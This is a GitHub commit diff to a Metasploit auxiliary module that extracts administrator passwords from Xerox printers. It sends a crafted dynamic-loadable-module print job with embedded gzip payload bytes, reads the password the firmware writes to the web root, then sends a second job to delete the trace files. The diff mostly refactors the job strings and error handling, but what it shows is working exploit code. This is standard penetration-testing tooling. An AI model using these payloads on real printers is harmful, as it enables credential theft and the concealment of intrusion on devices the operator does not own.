Skip to content

Commit b35a893

Browse files
parzamendi-r7parzamendi-r7
committed
Updated get_once for get_once undefined method and EOFError
1 parent 2bc8767 commit b35a893

File tree

1 file changed

+24
-66
lines changed

1 file changed

+24
-66
lines changed

‎modules/auxiliary/gather/xerox_pwd_extract.rb

Lines changed: 24 additions & 66 deletions
Original file line numberDiff line numberDiff line change
@@ -2,8 +2,6 @@
22
# This module requires Metasploit: http//metasploit.com/download
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
5-
6-
require 'rex/proto/http'
75
require 'msf/core'
86

97
class Metasploit3 < Msf::Auxiliary
@@ -62,36 +60,16 @@ def run
6260
#Trigger firmware bootstrap write out password data to URL root
6361
def write
6462
print_status('Sending print job')
65-
create_print_job = "\x25\x25\x58\x52\x58\x62\x65\x67\x69\x6e\x0a\x25\x25\x4f\x49\x44"
66-
create_print_job << "\x5f\x41\x54\x54\x5f\x4a\x4f\x42\x5f\x54\x59\x50\x45\x20\x4f\x49"
67-
create_print_job << "\x44\x5f\x56\x41\x4c\x5f\x4a\x4f\x42\x5f\x54\x59\x50\x45\x5f\x44"
68-
create_print_job << "\x59\x4e\x41\x4d\x49\x43\x5f\x4c\x4f\x41\x44\x41\x42\x4c\x45\x5f"
69-
create_print_job << "\x4d\x4f\x44\x55\x4c\x45\x0a\x25\x25\x4f\x49\x44\x5f\x41\x54\x54"
70-
create_print_job << "\x5f\x4a\x4f\x42\x5f\x53\x43\x48\x45\x44\x55\x4c\x49\x4e\x47\x20"
71-
create_print_job << "\x4f\x49\x44\x5f\x56\x41\x4c\x5f\x4a\x4f\x42\x5f\x53\x43\x48\x45"
72-
create_print_job << "\x44\x55\x4c\x49\x4e\x47\x5f\x41\x46\x54\x45\x52\x5f\x43\x4f\x4d"
73-
create_print_job << "\x50\x4c\x45\x54\x45\x0a\x25\x25\x4f\x49\x44\x5f\x41\x54\x54\x5f"
74-
create_print_job << "\x4a\x4f\x42\x5f\x43\x4f\x4d\x4d\x45\x4e\x54\x20\x22\x4d\x6f\x6e"
75-
create_print_job << "\x20\x4e\x6f\x76\x20\x31\x34\x20\x31\x33\x3a\x35\x30\x3a\x32\x31"
76-
create_print_job << "\x20\x45\x53\x54\x20\x32\x30\x31\x31\x22\x0a\x25\x25\x4f\x49\x44"
77-
create_print_job << "\x5f\x41\x54\x54\x5f\x4a\x4f\x42\x5f\x43\x4f\x4d\x4d\x45\x4e\x54"
78-
create_print_job << "\x20\x22\x70\x61\x74\x63\x68\x20\x4d\x6f\x6e\x20\x4a\x75\x6c\x20"
79-
create_print_job << "\x32\x39\x20\x31\x35\x3a\x33\x33\x3a\x34\x37\x20\x45\x44\x54\x20"
80-
create_print_job << "\x32\x30\x31\x33\x22\x0a\x25\x25\x4f\x49\x44\x5f\x41\x54\x54\x5f"
81-
create_print_job << "\x44\x4c\x4d\x5f\x4e\x41\x4d\x45\x20\x22\x78\x65\x72\x6f\x78\x22"
82-
create_print_job << "\x0a\x25\x25\x4f\x49\x44\x5f\x41\x54\x54\x5f\x44\x4c\x4d\x5f\x56"
83-
create_print_job << "\x45\x52\x53\x49\x4f\x4e\x20\x22\x4e\x4f\x5f\x44\x4c\x4d\x5f\x56"
84-
create_print_job << "\x45\x52\x53\x49\x4f\x4e\x5f\x43\x48\x45\x43\x4b\x22\x0a\x25\x25"
85-
create_print_job << "\x4f\x49\x44\x5f\x41\x54\x54\x5f\x44\x4c\x4d\x5f\x53\x49\x47\x4e"
86-
create_print_job << "\x41\x54\x55\x52\x45\x20\x22\x38\x62\x61\x30\x31\x39\x38\x30\x39"
87-
create_print_job << "\x39\x33\x66\x35\x35\x66\x35\x38\x33\x36\x62\x63\x63\x36\x37\x37"
88-
create_print_job << "\x35\x65\x39\x64\x61\x39\x30\x62\x63\x30\x36\x34\x65\x36\x30\x38"
89-
create_print_job << "\x62\x66\x38\x37\x38\x65\x61\x62\x34\x64\x32\x66\x34\x35\x64\x63"
90-
create_print_job << "\x32\x65\x66\x63\x61\x30\x39\x22\x0a\x25\x25\x4f\x49\x44\x5f\x41"
91-
create_print_job << "\x54\x54\x5f\x44\x4c\x4d\x5f\x45\x58\x54\x52\x41\x43\x54\x49\x4f"
92-
create_print_job << "\x4e\x5f\x43\x52\x49\x54\x45\x52\x49\x41\x20\x22\x65\x78\x74\x72"
93-
create_print_job << "\x61\x63\x74\x20\x2f\x74\x6d\x70\x2f\x78\x65\x72\x6f\x78\x2e\x64"
94-
create_print_job << "\x6e\x6c\x64\x22\x0a\x25\x25\x58\x52\x58\x65\x6e\x64\x0a\x1f\x8b"
63+
create_print_job = '%%XRXbegin' + "\x0a"
64+
create_print_job << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0a"
65+
create_print_job << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0a"
66+
create_print_job << '%%OID_ATT_JOB_COMMENT ""' + "\x0a"
67+
create_print_job << '%%OID_ATT_JOB_COMMENT "patch"' + "\x0a"
68+
create_print_job << '%%OID_ATT_DLM_NAME "xerox"' + "\x0a"
69+
create_print_job << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0a"
70+
create_print_job << '%%OID_ATT_DLM_SIGNATURE "8ba01980993f55f5836bcc6775e9da90bc064e608bf878eab4d2f45dc2efca09"' + "\x0a"
71+
create_print_job << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0a"
72+
create_print_job << '%%XRXend' + "\x0a\x1f\x8b"
9573
create_print_job << "\x08\x00\x80\xc3\xf6\x51\x00\x03\xed\xcf\x3b\x6e\xc3\x30\x0c\x06"
9674
create_print_job << "\x60\xcf\x39\x05\xe3\xce\x31\x25\xa7\x8e\xa7\x06\xe8\x0d\x72\x05"
9775
create_print_job << "\x45\x92\x1f\x43\x2d\x43\x94\x1b\x07\xc8\xe1\xab\x16\x28\xd0\xa9"
@@ -111,7 +89,7 @@ def write
11189
begin
11290
connect(true, 'RPORT' => datastore['JPORT'].to_i)
11391
sock.put(create_print_job)
114-
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, HostUnreachable, Rex::ConnectionTimeout, Rex::AddressInUse
92+
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, HostUnreachable, Rex::ConnectionTimeout, Rex::AddressInUse
11593
print_error("Error connecting to #{rhost}")
11694
return
11795
ensure
@@ -126,10 +104,10 @@ def retrieve
126104
begin
127105
connect
128106
sock.put(request)
129-
res = sock.get_once
107+
res = sock.get_once || ''
130108
passwd = res.match(/\r\n\s(.+?)\n/)
131109
return passwd ? passwd[1] : ''
132-
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, HostUnreachable, Rex::ConnectionTimeout, Rex::AddressInUse
110+
rescue ::EOFError, ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, HostUnreachable, Rex::ConnectionTimeout, Rex::AddressInUse, EOFError
133111
print_error("Error getting password from #{rhost}")
134112
return
135113
ensure
@@ -140,36 +118,16 @@ def retrieve
140118
# Trigger firmware bootstrap to delete the trace files and praeda.txt file from URL
141119
def remove
142120
print_status('Removing print job')
143-
remove_print_job = "\x25\x25\x58\x52\x58\x62\x65\x67\x69\x6e\x0a\x25\x25\x4f\x49\x44"
144-
remove_print_job << "\x5f\x41\x54\x54\x5f\x4a\x4f\x42\x5f\x54\x59\x50\x45\x20\x4f\x49"
145-
remove_print_job << "\x44\x5f\x56\x41\x4c\x5f\x4a\x4f\x42\x5f\x54\x59\x50\x45\x5f\x44"
146-
remove_print_job << "\x59\x4e\x41\x4d\x49\x43\x5f\x4c\x4f\x41\x44\x41\x42\x4c\x45\x5f"
147-
remove_print_job << "\x4d\x4f\x44\x55\x4c\x45\x0a\x25\x25\x4f\x49\x44\x5f\x41\x54\x54"
148-
remove_print_job << "\x5f\x4a\x4f\x42\x5f\x53\x43\x48\x45\x44\x55\x4c\x49\x4e\x47\x20"
149-
remove_print_job << "\x4f\x49\x44\x5f\x56\x41\x4c\x5f\x4a\x4f\x42\x5f\x53\x43\x48\x45"
150-
remove_print_job << "\x44\x55\x4c\x49\x4e\x47\x5f\x41\x46\x54\x45\x52\x5f\x43\x4f\x4d"
151-
remove_print_job << "\x50\x4c\x45\x54\x45\x0a\x25\x25\x4f\x49\x44\x5f\x41\x54\x54\x5f"
152-
remove_print_job << "\x4a\x4f\x42\x5f\x43\x4f\x4d\x4d\x45\x4e\x54\x20\x22\x4d\x6f\x6e"
153-
remove_print_job << "\x20\x4e\x6f\x76\x20\x31\x34\x20\x31\x33\x3a\x35\x30\x3a\x32\x31"
154-
remove_print_job << "\x20\x45\x53\x54\x20\x32\x30\x31\x31\x22\x0a\x25\x25\x4f\x49\x44"
155-
remove_print_job << "\x5f\x41\x54\x54\x5f\x4a\x4f\x42\x5f\x43\x4f\x4d\x4d\x45\x4e\x54"
156-
remove_print_job << "\x20\x22\x70\x61\x74\x63\x68\x20\x4d\x6f\x6e\x20\x4a\x75\x6c\x20"
157-
remove_print_job << "\x32\x39\x20\x31\x35\x3a\x34\x31\x3a\x34\x35\x20\x45\x44\x54\x20"
158-
remove_print_job << "\x32\x30\x31\x33\x22\x0a\x25\x25\x4f\x49\x44\x5f\x41\x54\x54\x5f"
159-
remove_print_job << "\x44\x4c\x4d\x5f\x4e\x41\x4d\x45\x20\x22\x78\x65\x72\x6f\x78\x22"
160-
remove_print_job << "\x0a\x25\x25\x4f\x49\x44\x5f\x41\x54\x54\x5f\x44\x4c\x4d\x5f\x56"
161-
remove_print_job << "\x45\x52\x53\x49\x4f\x4e\x20\x22\x4e\x4f\x5f\x44\x4c\x4d\x5f\x56"
162-
remove_print_job << "\x45\x52\x53\x49\x4f\x4e\x5f\x43\x48\x45\x43\x4b\x22\x0a\x25\x25"
163-
remove_print_job << "\x4f\x49\x44\x5f\x41\x54\x54\x5f\x44\x4c\x4d\x5f\x53\x49\x47\x4e"
164-
remove_print_job << "\x41\x54\x55\x52\x45\x20\x22\x38\x62\x35\x64\x38\x63\x36\x33\x31"
165-
remove_print_job << "\x65\x63\x32\x31\x30\x36\x38\x32\x31\x31\x38\x34\x30\x36\x39\x37"
166-
remove_print_job << "\x65\x33\x33\x32\x66\x62\x66\x37\x31\x39\x65\x36\x31\x31\x33\x62"
167-
remove_print_job << "\x62\x63\x64\x38\x37\x33\x33\x63\x32\x66\x65\x39\x36\x35\x33\x62"
168-
remove_print_job << "\x33\x64\x31\x35\x34\x39\x31\x22\x0a\x25\x25\x4f\x49\x44\x5f\x41"
169-
remove_print_job << "\x54\x54\x5f\x44\x4c\x4d\x5f\x45\x58\x54\x52\x41\x43\x54\x49\x4f"
170-
remove_print_job << "\x4e\x5f\x43\x52\x49\x54\x45\x52\x49\x41\x20\x22\x65\x78\x74\x72"
171-
remove_print_job << "\x61\x63\x74\x20\x2f\x74\x6d\x70\x2f\x78\x65\x72\x6f\x78\x2e\x64"
172-
remove_print_job << "\x6e\x6c\x64\x22\x0a\x25\x25\x58\x52\x58\x65\x6e\x64\x0a\x1f\x8b"
121+
remove_print_job = '%%XRXbegin' + "\x0A"
122+
remove_print_job << '%%OID_ATT_JOB_TYPE OID_VAL_JOB_TYPE_DYNAMIC_LOADABLE_MODULE' + "\x0A"
123+
remove_print_job << '%%OID_ATT_JOB_SCHEDULING OID_VAL_JOB_SCHEDULING_AFTER_COMPLETE' + "\x0A"
124+
remove_print_job << '%%OID_ATT_JOB_COMMENT ""' + "\x0A"
125+
remove_print_job << '%%OID_ATT_JOB_COMMENT "patch"' + "\x0A"
126+
remove_print_job << '%%OID_ATT_DLM_NAME "xerox"' + "\x0A"
127+
remove_print_job << '%%OID_ATT_DLM_VERSION "NO_DLM_VERSION_CHECK"' + "\x0A"
128+
remove_print_job << '%%OID_ATT_DLM_SIGNATURE "8b5d8c631ec21068211840697e332fbf719e6113bbcd8733c2fe9653b3d15491"' + "\x0A"
129+
remove_print_job << '%%OID_ATT_DLM_EXTRACTION_CRITERIA "extract /tmp/xerox.dnld"' + "\x0A"
130+
remove_print_job << '%%XRXend' + "\x0a\x1f\x8b"
173131
remove_print_job << "\x08\x00\x5d\xc5\xf6\x51\x00\x03\xed\xd2\xcd\x0a\xc2\x30\x0c\xc0"
174132
remove_print_job << "\xf1\x9e\x7d\x8a\x89\x77\xd3\x6e\xd6\xbd\x86\xaf\x50\xb7\xc1\x04"
175133
remove_print_job << "\xf7\x41\xdb\x41\x1f\xdf\x6d\x22\x78\xd2\x93\x88\xf8\xff\x41\x92"
@@ -186,7 +144,7 @@ def remove
186144
begin
187145
connect(true, 'RPORT' => datastore['JPORT'].to_i)
188146
sock.put(remove_print_job)
189-
rescue
147+
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, HostUnreachable, Rex::ConnectionTimeout, Rex::AddressInUse
190148
print_error("Error removing print job from #{rhost}")
191149
return
192150
ensure

0 commit comments

Comments
 (0)